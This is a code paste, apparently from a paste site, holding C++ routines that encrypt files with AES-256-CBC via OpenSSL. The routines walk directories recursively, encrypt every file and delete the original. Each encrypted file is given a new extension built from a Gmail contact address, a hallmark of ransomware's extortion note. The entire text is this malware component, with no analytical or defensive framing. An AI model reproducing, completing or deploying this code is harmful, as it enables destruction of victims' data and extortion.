Untitled

mail@pastecode.io avatar
unknown
plain_text
a year ago
2.5 kB
3
Indexable
Never
int encryptFile(const char* inFile, const char* outFile, const unsigned char* key, const unsigned char* iv) {

    EVP_CIPHER_CTX* ctx;

    unsigned char bufferIn[BUFFER_SIZE], bufferOut[BUFFER_SIZE + EVP_MAX_BLOCK_LENGTH];

    int bytesRead, bytesWritten, bytesFinal;

    std::ifstream fin(inFile, std::ios::binary);

    std::ofstream fout(outFile, std::ios::binary);

    const EVP_CIPHER* cipher = EVP_aes_256_cbc();

    int cipherKeyLength = EVP_CIPHER_key_length(cipher);

    int cipherBlockSize = EVP_CIPHER_block_size(cipher);

    unsigned char cipherKey[32], cipherIv[16];

    memset(cipherKey, 0, cipherKeyLength);

    memset(cipherIv, 0, cipherBlockSize);

    memcpy(cipherKey, key, cipherKeyLength);

    memcpy(cipherIv, iv, cipherBlockSize);

    ctx = EVP_CIPHER_CTX_new();

    EVP_EncryptInit_ex(ctx, cipher, NULL, cipherKey, cipherIv);

    while (fin.good()) {

        fin.read(reinterpret_cast<char*>(bufferIn), BUFFER_SIZE);

        bytesRead = fin.gcount();

        if (bytesRead > 0) {

            if (!EVP_EncryptUpdate(ctx, bufferOut, &bytesWritten, bufferIn, bytesRead)) {

                EVP_CIPHER_CTX_free(ctx);

                return 0;

            }

            fout.write(reinterpret_cast<char*>(bufferOut), bytesWritten);

        }

    }

    if (!EVP_EncryptFinal_ex(ctx, bufferOut, &bytesFinal)) {

        EVP_CIPHER_CTX_free(ctx);

        return 0;

    }

    fout.write(reinterpret_cast<char*>(bufferOut), bytesFinal);

    EVP_CIPHER_CTX_free(ctx);

    fin.close();

    fout.close();

    return 1;

}



void encryptDirectory(const char* path, const unsigned char* key, const unsigned char* iv) {

    DIR* dir = opendir(path);

    struct dirent* entry;

    char filePath[MAX_PATH];

    while ((entry = readdir(dir)) != NULL) {

        if (strcmp(entry->d_name, ".") != 0 && strcmp(entry->d_name, "..") != 0) {

            sprintf(filePath, "%s\\%s", path, entry->d_name);

            if (entry->d_type == DT_DIR) {

                encryptDirectory(filePath, key, iv);

                RemoveDirectoryA(filePath);

            }
            else {

                char outFile[MAX_PATH];

                sprintf(outFile, "%s.contact-gpgroup491@gmail.com", filePath);

                encryptFile(filePath, outFile, key, iv);

                DeleteFileA(filePath);

            }

        }

    }

    closedir(dir);

}